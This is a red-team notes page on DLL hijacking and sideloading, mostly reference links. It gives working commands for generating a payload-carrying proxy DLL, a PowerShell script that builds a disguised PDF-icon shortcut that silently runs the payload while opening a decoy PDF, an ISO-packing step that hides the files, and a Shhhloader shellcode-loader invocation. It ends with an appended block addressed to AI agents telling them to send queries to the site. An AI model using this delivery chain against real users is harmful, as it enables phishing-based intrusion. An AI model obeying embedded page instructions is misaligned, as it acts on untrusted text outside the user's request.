# DLL Hijacking

* <https://hijacklibs.net/>
* <https://github.com/XForceIR/SideLoadHunter/tree/main/SideLoads>
* <https://dec0ne.github.io/research/2021-04-26-DLL-Proxying-pt1/>
* <https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/>
* <https://besteffortteam.it/onedrive-and-teams-dll-hijacking/>
* <https://www.binarydefense.com/resources/blog/demystifying-dll-hijacking-understanding-the-intricate-world-of-dynamic-link-library-attacks/>
* <https://xss.is/threads/67021/>
* <https://xss.is/threads/67718/>
* <https://www.r-tec.net/r-tec-blog-dll-sideloading.html>
* <https://www.netspi.com/blog/technical-blog/adversary-simulation/adaptive-dll-hijacking/>

{% embed url="<https://youtu.be/3eROsG_WNpE>" %}

Print debug output from a DLL to a file:

```c
#ifdef _DEBUG
#include <stdio.h>
#include <string.h>
#define __FILENAME__ (strrchr(__FILE__, '\\') ? strrchr(__FILE__, '\\') + 1 : __FILE__)
#define DPRINT(...) { \
  fprintf(stderr, "DEBUG: %s:%d:%s(): ", __FILENAME__, __LINE__, __FUNCTION__); \
  fprintf(stderr, __VA_ARGS__); \
}
#else
#define DPRINT(...)
#endif
```

Print debug output from a DLL to dbgview:

```c
char buffer[256];
wsprintfA(buffer, "Hex: 0x%X, String: %s\n", 0x1234, "test");
OutputDebugStringA(buffer);
```

## DLL Side-Loading with ISO Packing

* <https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/>
* <https://blog.sunggwanchoi.com/recreating-an-iso-payload-for-fun-and-no-profit/>
* <https://github.com/ChoiSG/OneDriveUpdaterSideloading>

Generate a proxy DLL with [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy):

```
Cmd > SharpDllProxy.exe --dll C:\Windows\System32\version.dll --payload OneDrive.Update
Cmd > move output_version\tmp1F94.dll C:\out\vresion.dll
```

Create an exec link (also [here](https://gist.github.com/mttaggart/eb2ba020b8816cfe3da4cfd835240b7d)):

```powershell
$obj = New-object -ComObject wscript.shell
$link = $obj.createshortcut("C:\Tools\PackMyPayload\out\clickme.lnk")
$link.windowstyle = "7"
$link.targetpath = "%windir%/system32/cmd.exe"
$link.iconlocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13" # PDF ico
$link.arguments = "/c start update.exe & ""%ProgramFiles(x86)%/Microsoft/Edge/Application/msedge.exe"" %cd%/fake.pdf"
$link.save()
```

Pack all the files into an ISO with [PackMyPayload](https://github.com/mgeeky/PackMyPayload):

```
PS > python .\PackMyPayload.py .\out\ .\out\a.iso --out-format iso --hide OneDriveStandaloneUpdater.exe,vresion.dll,version.dll,fake.pdf
```

## Unlock DllMain

* <https://elliotonsecurity.com/perfect-dll-hijacking/>
* <https://github.com/ElliotKillick/LdrLockLiberator>
* <https://elliotonsecurity.com/what-is-loader-lock/>
* <https://habr.com/ru/articles/792424/>

## CVE-2025-24076, CVE-2025-24994

* <https://blog.compass-security.com/2025/04/3-milliseconds-to-admin-mastering-dll-hijacking-and-hooking-to-win-the-race-cve-2025-24076-and-cve-2025-24994/>

### DLL Proxying

* <https://github.com/Flangvik/SharpDllProxy>
* <https://github.com/tothi/dll-hijack-by-proxying>
* <https://github.com/kagasu/ProxyDllGenerator>
* <https://github.com/namazso/dll-proxy-generator>
* <https://github.com/mrexodia/perfect-dll-proxy>

### Shhhloader

* <https://github.com/icyguider/Shhhloader>

```
$ ./Shhhloader.py -p RuntimeBroker.exe -d -dp vresion.dll -o version.dll -s domain -sa megacorp.local shellcode.bin
```

### DLL ForwardSideloading

* <https://www.hexacorn.com/blog/2025/08/19/dll-forwardsideloading/>
* <https://hexacorn.com/d/apis_fwd.txt>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/red-team/dev/dll-hijacking.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
